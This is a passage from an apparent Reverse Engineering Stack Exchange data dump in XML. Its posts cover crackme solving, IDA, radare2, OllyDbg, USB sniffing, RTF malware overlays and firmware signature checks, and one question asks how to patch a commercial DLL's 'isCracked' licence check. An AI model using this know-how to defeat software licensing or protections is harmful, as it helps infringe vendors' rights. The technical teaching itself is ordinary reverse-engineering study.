&amp;lt;Module&amp;gt;.md5(&amp;amp;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;7, str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) Is it just a comparison of two strings in disguised form?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result =(&amp;lt;Module&amp;gt;.std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;.compare(ref basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;, 0u, (uint)(*(ref basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt; + 16)), ptr, count) == 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5)Maybe there's a easier way which I don't know to solve this crackme? I firstly tried to use IDA as always, but that wasn't really helpful in this case.&lt;/p&gt;&#xA;" OwnerUserId="21709" LastEditorUserId="21709" LastEditDate="2017-09-26T17:16:29.097" LastActivityDate="2017-10-02T13:18:07.223" Title="Reverse engineering of Managed C++/C# CrackMe" Tags="|.net|crackme|c#|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16395" PostTypeId="2" ParentId="16394" CreationDate="2017-09-23T23:04:27.440" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Looks like a copy &lt;code&gt;ctor&lt;/code&gt;, so my judgement would be the same as yours - assignment.&lt;/li&gt;&#xA;&lt;li&gt;I would assume that's sets value 0 at the specified offset. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; that's partially true, upon further investigation it looks like that at index 16, the length of the string is stored, and at index 20 it's some kind of type. If value @20 is &gt; 16 then the string is in fact a pointer to memory region where the string is stored. For shorter strings it is stored internally. So setting those two to 0 is initialization/reseting the values.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Hard to believe but that's part of auto generated names. If you don't declare variables and have code like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::string(&quot;&quot;);&#xA;std::string(&quot;&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then underneath it will be like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt; basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;;&#xA;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt; basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;2; &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is compare method, the signature is:  &lt;code&gt;System::String::Compare(strA, indexA, strB, indexB, len)&lt;/code&gt;. In your case it compares content of variable &lt;code&gt;string&lt;/code&gt; starting from index 0 with the further part of the same variable - above index 16.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Everything you need to know is in the check method. Why not debug it? dnSpy can do that. By the quick look it calculates MD5 from the Email, but there are some parts that require a bit of further investigation and you did not provided the full binary. Some questions what does &lt;code&gt;&amp;lt;Module&amp;gt;.GetString()&lt;/code&gt; returns? - it looks like it's essential to the calculation. &#xA;Also this &lt;code&gt;&amp;lt;Module&amp;gt;.??_C@_00CNPNBAHC@?$AA@&lt;/code&gt; is probably a const string.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A bit of more info, although it is a bit harder than in normal .NET application one can still get to the data that's needed to correctly solve this. If we inspect the method where we compare&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FVjTO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FVjTO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we can there inspect the variables &amp;amp; addresses that are in fact memory locations that are containing the values. maybe you can't inspect them from Locals, but if you press CTRL+G, and type the memory location you will be taken where you need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fqOjY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fqOjY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2017-09-25T17:37:29.343" LastActivityDate="2017-09-25T17:37:29.343" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="16398" PostTypeId="1" AcceptedAnswerId="16406" CreationDate="2017-09-24T05:12:54.203" Score="0" ViewCount="378" Body="&lt;p&gt;What exactly is a Netnode? What are they used for and how can I manipulate them with IDC or the SDK?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="14535" LastEditDate="2017-09-24T06:38:35.203" LastActivityDate="2017-09-25T12:25:01.153" Title="Understanding IDA's netnodes" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16399" PostTypeId="2" ParentId="16392" CreationDate="2017-09-24T07:56:30.210" Score="4" Body="&lt;p&gt;my understanding of &lt;strong&gt;USB&lt;/strong&gt; is very low at best (even if I do develop some simple &lt;strong&gt;USB&lt;/strong&gt; devices for a living) so read this with major prejudice...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Your driver class and configuration must match the USB (mouse) device&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know how your &lt;strong&gt;USB&lt;/strong&gt; mouse is programmed but interface must be the same (&lt;strong&gt;CDC&lt;/strong&gt; class can have more interfaces) and if not match then the &lt;strong&gt;USB&lt;/strong&gt; will not work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to know which pipes are used and which are input and output, if they use bulk or interrupt transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bet is your mouse will be a &lt;strong&gt;HID&lt;/strong&gt; class with use of only interrupt transfers. But if it is some crazy multimedia ergonomic multi feature sillyness it might be even &lt;strong&gt;CDC&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Transfer of data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let assume you got &lt;strong&gt;HID&lt;/strong&gt; so the device is communicating by control pipe0 and or interrupt pipes(1,2...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now depending on the mouse firmware it might need a specific order of read/write commands otherwise the firmware will freeze or hang up till timeout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example some commands do not return any data and can be send at any time ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some commands return data in specific pipe and if not read back by host in time the firmware can crash/freeze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem the mouse might be configurable and requesting some initialization sequence of codes/commands determining the mouse purpose/specs/whatever. Again if the firmware expects that first, sending any other command can freeze your mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also some firmwares expect commands with timing and sending too often or too rarely is wrong in such case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your sniffing data does not take into account any of this. Try to sniff also the other pipes (maybe with time stamps) and log all to something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/9381/4709&quot;&gt;Putting an application in between client and server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once done you should see what the device is sending back. It is important to see how many bytes an in what pipe. Then you can update your script and after you send your command read appropriate number of bytes back to host so your firmware on the mouse will not freeze up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4709" LastActivityDate="2017-09-24T07:56:30.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16400" PostTypeId="2" ParentId="16393" CreationDate="2017-09-24T11:04:34.560" Score="1" Body="&lt;p&gt;I haven't touched this stuff for a while, but I'd say compiler is simply saving opcodes or following a complicated template, perhaps to do with optimisation. Notice that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stp        x24, x23, [sp, #-0x40]!&#xA;stp        x22, x21, [sp, #0x10]&#xA;stp        x20, x19, [sp, #0x20]&#xA;stp        x29, x30, [sp, #0x30]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does the same job as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub        sp, sp, #0x40&#xA;stp        x22, x21, [sp, #0x10]&#xA;stp        x20, x19, [sp, #0x20]&#xA;stp        x29, x30, [sp, #0x30]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;plus stores one additional register &lt;code&gt;x24&lt;/code&gt; . This because the first example uses writeback addressing in &lt;code&gt;[sp, #-0x40]!&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.davespace.co.uk/arm/introduction-to-arm/addressing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.davespace.co.uk/arm/introduction-to-arm/addressing.html&lt;/a&gt; (a random google result on addressing modes in ARM). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same with your second example - it still allocates x50 bytes on the stack. The difference is rather superficial, they all do the same job. &lt;code&gt;add&lt;/code&gt;,&lt;code&gt;mov&lt;/code&gt;s are not part of prologue IIRC.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-09-24T11:04:34.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16401" PostTypeId="1" CreationDate="2017-09-24T14:50:37.700" Score="4" ViewCount="537" Body="&lt;p&gt;When I open a project &lt;code&gt;r2 -p mypoject&lt;/code&gt; I get a bunch of errors with some numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0&#xA;0&#xA;Cannot add reference to non-function&#xA;Cannot add reference to non-function&#xA;1482&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use latest version of radare2 from git repository on Arch Linux. This is list of steps to reproduce this bug.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 /bin/ls&#xA;&amp;gt; aaa&#xA;&amp;gt; Ps myproject&#xA;&amp;gt; q&#xA;r2 -p myproject&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21721" LastActivityDate="2017-09-24T14:50:37.700" Title="Radare2 project opening" Tags="|radare2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16402" PostTypeId="2" ParentId="16390" CreationDate="2017-09-24T16:30:55.867" Score="7" Body="&lt;p&gt;I generally try to avoid booting the whole embedded OS when analyzing a target system. Instead, try to run a single target binary with &lt;code&gt;qemu-system-arm -E PATH=&quot;/bin:/usr/bin&quot; -E OTHERENVVARS=foo -g 10000 ./myTargetBinary&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See slides 27+ in my presentation &lt;a href=&quot;https://files.sans.org/summit/hackfest2015/PDFs/IoT-Devices-Fall-Like-Backward-Capacitors-Or-the-Month-Josh-Was-Forced-to-Wear-Pants-Josh-Wright.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://files.sans.org/summit/hackfest2015/PDFs/IoT-Devices-Fall-Like-Backward-Capacitors-Or-the-Month-Josh-Was-Forced-to-Wear-Pants-Josh-Wright.pdf&lt;/a&gt;. You may need to setup the appropriate &lt;code&gt;chroot&lt;/code&gt; for the necessary libraries in &lt;code&gt;myTargetBinary&lt;/code&gt;. Often, errors in running a binary requires more analysis to identify missing conf files, necessary environment variables, specific hardware access, etc., requiring some preliminary static disassembly prior to runtime analysis.&lt;/p&gt;&#xA;" OwnerUserId="21722" LastActivityDate="2017-09-24T16:30:55.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16404" PostTypeId="1" CreationDate="2017-09-25T08:14:59.700" Score="4" ViewCount="11153" Body="&lt;p&gt;In the Maxsea.SmartDesktop.dll, I want to edit and modify class b1g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is this in :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if (isCrackedResult != null &amp;amp;&amp;amp; isCrackedResult.IsCracked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I want to modify for this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if (isCrackedResult == null &amp;amp;&amp;amp; !isCrackedResult.IsCracked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've try to save b1g.cs, edit with Notepad++ and modify but i don't arrive to inject the new one ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone can help me  ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="21732" LastActivityDate="2017-10-28T18:21:25.840" Title="How to edit and modify a class with ILSpy + Reflexil" Tags="|windows|dll|patching|c#|assembly|" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="16405" PostTypeId="1" CreationDate="2017-09-25T09:50:54.100" Score="2" ViewCount="317" Body="&lt;p&gt;How to detect overlay data in RTF files? When officemalscanner says it detected overlay data, what does that mean ? Is overlay data specific to malicious files ?&lt;/p&gt;&#xA;" OwnerUserId="21733" LastActivityDate="2018-05-23T16:37:32.363" Title="How to detect overlay data in RTF files?" Tags="|malware|tools|file-format|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16406" PostTypeId="2" ParentId="16398" CreationDate="2017-09-25T12:25:01.153" Score="4" Body="&lt;p&gt;The online IDA SDK has an excellent description: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An IDA database is one large table of key/value pairs.&#xA;All keys associated with a single address together form a &lt;code&gt;netnode&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two kinds of netnodes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;related to addresses associated with the binary loaded in ida.&lt;/li&gt;&#xA;&lt;li&gt;for internal items, these are used to store structs, stack-frames, enums, scripts, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These internal items usually have addresses which start with &lt;code&gt;0xFF0...&lt;/code&gt;.&#xA;Because of this it can be a bit of a challenge to reverse engineer binaries which happen to use that address range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of items which are stored in netnodes can be found in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;netnode.hpp&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/nalt_8hpp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;nalt.hpp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2017-09-25T12:25:01.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16407" PostTypeId="2" ParentId="16405" CreationDate="2017-09-25T12:50:07.117" Score="2" Body="&lt;p&gt;It's difficult to say for sure since the tool is closed-source, but &lt;em&gt;I suspect&lt;/em&gt; it means that the file contains extra data after the end of the document. For example, RTF usually begins with &lt;code&gt;{\rtf1&lt;/code&gt;, contains many embedded commands  (some using nested &lt;code&gt;{}&lt;/code&gt; for parameters) and ends with a matching &lt;code&gt;}&lt;/code&gt;. If there is extra data after the final &lt;code&gt;}&lt;/code&gt;, it's not part of the document but could be part of the payload used by the exploit inside the main body. It is of course not a 100% indicator of a malicious file but just one of the possible hints that it should be checked more thoroughly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm, you can try running it on this sample RTF file from Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{\rtf1\ansi{\fonttbl\f0\fswiss Helvetica;}\f0\pard&#xA;This is some {\b bold} text.\par&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add some extra data at the end and see if it triggers the warning.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-25T12:50:07.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16408" PostTypeId="2" ParentId="12286" CreationDate="2017-09-25T13:09:28.500" Score="1" Body="&lt;p&gt;As you already know &lt;code&gt;MetafileChecksum = &quot;ec5afd6459c3579ebed8841cc41fe17bb61b814d&quot;&lt;/code&gt; is the SHA1 hash of the initial &lt;code&gt;metainfo2.txt&lt;/code&gt; file, before adding the &lt;code&gt;MetafileChecksum&lt;/code&gt; line and final &lt;code&gt;[Signature]&lt;/code&gt; block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Peter Anderson points out, the first 128 bytes of your public key file are the RSA public/private key modulus (&lt;code&gt;n = C0 F3 .. EE 57&lt;/code&gt;).  Which when combined with the public exponent (&lt;code&gt;e = 00 00 .. 00 03&lt;/code&gt;) in the next 32 bytes of the file yields us the RSA public key &lt;code&gt;(n, e)&lt;/code&gt;.  Applying that to the data in your &lt;code&gt;[Signature]&lt;/code&gt; block yields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;fffffffffffffffffff003021300906052b0e03021a050004145e3246e50a4dad079a61f99fa3297c01d802e038&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A standard ASN.1 signature structure containing the SHA1 hash &lt;code&gt;5e3246e50a4dad079a61f99fa3297c01d802e038&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find that's the SHA1 hash of &lt;code&gt;metainfo2.txt&lt;/code&gt; &lt;strong&gt;after&lt;/strong&gt; you've added the &lt;code&gt;MetafileChecksum&lt;/code&gt; but &lt;strong&gt;before&lt;/strong&gt; appending the &lt;code&gt;[Signature]&lt;/code&gt; block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you may be left wondering what the remaining 128 bytes (83 0A .. 6A C9) in the key file represent?  Well, if you decrypt these using the same public key, you'll get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;fffffffffffffffffff003021300906052b0e03021a05000414c9b809bea9c9d13a87f7ef2212d9d03281da7020&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again a ASN.1 signature structure containing the SHA1 hash &lt;code&gt;c9b809bea9c9d13a87f7ef2212d9d03281da7020&lt;/code&gt;.  And you'll find that's the SHA1 of first 128+32=160 bytes of the key file containing the public key (n, e).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately none of this gets us any close to being able to sign &lt;code&gt;metainfo2.txt&lt;/code&gt; files, as we don't know the private key exponent (d).  But if you are replacing the keys with your own, at least you now know how to fully populate the &lt;code&gt;MetainfoKey&lt;/code&gt; file, and also how to sign a &lt;code&gt;metainfo2.txt&lt;/code&gt; with your own private key.&lt;/p&gt;&#xA;" OwnerUserId="21735" LastEditorUserId="53" LastEditDate="2017-09-25T13:34:51.350" LastActivityDate="2017-09-25T13:34:51.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16410" PostTypeId="1" CreationDate="2017-09-25T16:41:18.180" Score="1" ViewCount="801" Body="&lt;pre&gt;&lt;code&gt;  unsigned __int8 v2; // cf@1&#xA;v2 = __CFSHL__(v3, 28);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does the &lt;strong&gt;CFSHL&lt;/strong&gt; function mean? I can't seem to find any documentation on it.&lt;/p&gt;&#xA;" OwnerUserId="17731" LastActivityDate="2017-10-25T17:44:30.193" Title="What does __CFSHL__ do?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16411" PostTypeId="2" ParentId="16410" CreationDate="2017-09-25T17:16:47.453" Score="1" Body="&lt;p&gt;This function usually generate a '&lt;strong&gt;Carry Flag for SHift Left&lt;/strong&gt;' operators (CFSHL).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__CFSHL__(x, y) // Generate a carry flag for (x&amp;lt;&amp;lt;y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, when decompiling we, sometimes, loose the origin of the very-low level operations such as manipulation of carry flags. Originally, this operation must have been linked to some arithmetic operation which might have been missed by the decompiler (or optimized out). But, the manipulation of the carry bit on the &lt;code&gt;eflags&lt;/code&gt; is still here, so to keep the semantic equivalence of the decompiled program, Hexrays' decompiler is sometimes forced to use such tricks (which appears to come from outer space even if they probably have a perfectly natural cause).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-09-25T17:16:47.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16412" PostTypeId="1" CreationDate="2017-09-25T20:25:52.813" Score="6" ViewCount="2034" Body="&lt;p&gt;How one can find all subroutine calls once an iOS app has been load into Hopper ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, a subroutine is identified by a unique address. So in the binary, all calls to this subroutine should point to this address. Thus, it should be possible to list all calls to this address, am I wrong ? It seems to be a simple things to look for, yet I cannot find anything about that elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="21739" LastActivityDate="2017-09-27T09:31:40.900" Title="How find all subroutine calls using Hopper?" Tags="|hopper|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16413" PostTypeId="2" ParentId="16412" CreationDate="2017-09-25T21:05:05.093" Score="0" Body="&lt;p&gt;I'm not sure how it works on IOS or hopper but from my experience function calls can be obfuscated.&#xA;I've seen values loaded into registers and then some algorithm is performed before a call is made to said register. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex. A function is located at VA 1000&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load value 100 into register1&lt;/li&gt;&#xA;&lt;li&gt;Multiply register1 by 5&lt;/li&gt;&#xA;&lt;li&gt;Add 500 to register1&lt;/li&gt;&#xA;&lt;li&gt;Push arguments onto the stack&lt;/li&gt;&#xA;&lt;li&gt;Call register1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps a bit.&lt;/p&gt;&#xA;" OwnerUserId="21082" LastEditorUserId="21082" LastEditDate="2017-09-25T21:48:47.543" LastActivityDate="2017-09-25T21:48:47.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16415" PostTypeId="2" ParentId="15731" CreationDate="2017-09-26T13:12:58.007" Score="2" Body="&lt;p&gt;As far as I know, TPM 1.2 has something called Transport Protection/Security to establish a secure channel with the TPM but it's difficult to find documentation on it. It is most probably some variant on key exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now of course a secure channel is useless per-se because you can still swap the TPM with a tempered oned. Thus a TPM comes with what is called the &lt;a href=&quot;https://technet.microsoft.com/en-us/library/cc770443(v=ws.11).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;endorsement key&lt;/a&gt;. The idea is that each TPM chip has a private key burned by the manufacturer and never released. When the machine is assembled, the manufacturer will typically burn some kind of signature for this specific TPM in the OTP part of the CPU. That way the CPU can send a challenge to the TPM to make sure it is legitimate. That together with the secure channel reduces the hardware attack surface a lot (but not completely). Note that there are all kinds of issues with the endorsement key, such as how to do you know the manufacturer did not give the key to the NSA behind your back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that there is trend to put the TPM directly into the CPU/PCH which makes it much harder to temper with. Another common thing is to the implement the TPM in software (fTPM) in a secure environment (such as TEE) based on SGX (x86) or TrustZone (ARM) for example.&lt;/p&gt;&#xA;" OwnerUserId="21661" LastActivityDate="2017-09-26T13:12:58.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16416" PostTypeId="1" AcceptedAnswerId="16420" CreationDate="2017-09-26T13:33:57.313" Score="3" ViewCount="487" Body="&lt;p&gt;I was looking into a C++ program compiled for aarch64 with ida pro 6.9 and came across something really weird:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;somescope::SomeClass&amp;lt;false&amp;gt;::some_name&amp;lt;somescope::SomeClass&amp;lt;false&amp;gt;::other_name(uint,uint,uint)::{lambda(void *,bool)#2}&amp;gt;::SOMETHING&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really confused by this notation... Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What does &lt;code&gt;{lambda(void *,bool)#2}&lt;/code&gt; mean? Is it an indicator for lambda expression? Also, what is &lt;code&gt;#2&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is &lt;code&gt;other_name(uint,uint,uint)&lt;/code&gt; somewhat a scope? What could &lt;code&gt;other_name&lt;/code&gt; possibly be if this is the case?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm fairly new to reverse engineering and I've tried to google this for like an hour... Please hint me if you've got clue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="18779" LastEditorUserId="18779" LastEditDate="2017-09-26T14:01:10.287" LastActivityDate="2017-09-26T19:23:35.683" Title="IDA pro 6.9, what does &quot;lambda&quot; in type notation mean in C++ reversed code" Tags="|ida|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16418" PostTypeId="1" CreationDate="2017-09-26T16:28:16.647" Score="5" ViewCount="1558" Body="&lt;p&gt;i am solving the leena's 4th binary challenge.but the ollydbg is unable to stop at Entry point which some around 400000 or above.Application stops working and start with some around 700000&#xA;check the image below&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ALO1R.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALO1R.png&quot; alt=&quot;Application stopped working&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if we close the application it will stop at 700000 address.check the below image&lt;a href=&quot;https://i.stack.imgur.com/WFGBu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WFGBu.png&quot; alt=&quot;700000 address&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i already checked the debugged configuration of olydbg to the below setting.&lt;a href=&quot;https://i.stack.imgur.com/WjryD.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WjryD.png&quot; alt=&quot;Event configuration of ollydbg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if anyone tell me how to solve this that would be great.And let me know if my configuration is wrong on this.I am using ollydbg v1.10&lt;/p&gt;&#xA;" OwnerUserId="15305" LastActivityDate="2017-09-26T18:46:42.867" Title="OLLYdbg is stopping on 7000000 addresses on the ntdll and not the entry point of the application" Tags="|disassembly|ollydbg|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16419" PostTypeId="2" ParentId="16418" CreationDate="2017-09-26T18:46:42.867" Score="6" Body="&lt;p&gt;OllyDbg has stopped the execution at &lt;code&gt;ntdll!RtlUserThreadStart&lt;/code&gt;, what seems like almost the &quot;System Breakpoint&quot; which is the location where the operating system uses to break so the debugger can do its work -- but not exactly there.&#xA;The address which you are in is inside &lt;code&gt;NTDLL&lt;/code&gt; and you have nothing to be afraid of being there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that there's a bug (&lt;em&gt;or a configuration which I'm not aware of&lt;/em&gt;) in OllyDbg in which the program breaks in &lt;code&gt;RtlUserThreadStart&lt;/code&gt; although your settings is set to first break on program's entry.   &lt;code&gt;RtlUserThreadStart&lt;/code&gt; is kind of every thread's entrypoint so I wonder maybe Olly hits this-not-exactly &lt;em&gt;System Breakpoint&lt;/em&gt; even though it is not configured to do so.  